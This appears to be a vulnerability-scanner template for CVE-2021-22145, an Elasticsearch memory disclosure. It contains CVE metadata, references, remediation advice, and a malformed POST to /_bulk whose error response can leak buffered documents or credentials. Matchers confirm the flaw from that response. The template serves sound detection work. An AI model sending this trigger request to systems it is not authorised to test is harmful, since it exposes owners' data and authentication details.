54 lines
1.8 KiB
YAML
54 lines
1.8 KiB
YAML
id: CVE-2021-22145
|
|
|
|
info:
|
|
name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
|
|
remediation: |
|
|
Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
|
|
reference:
|
|
- https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
|
|
- https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
|
|
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22145
|
|
- https://security.netapp.com/advisory/ntap-20210827-0006/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2021-22145
|
|
cwe-id: CWE-209
|
|
epss-score: 0.36411
|
|
epss-percentile: 0.96626
|
|
cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: elastic
|
|
product: elasticsearch
|
|
tags: cve,cve2021,elasticsearch,packetstorm
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- '{{BaseURL}}/_bulk'
|
|
|
|
body: |
|
|
@
|
|
|
|
headers:
|
|
Content-Type: application/json
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'root_cause'
|
|
- 'truncated'
|
|
- 'reason'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 400
|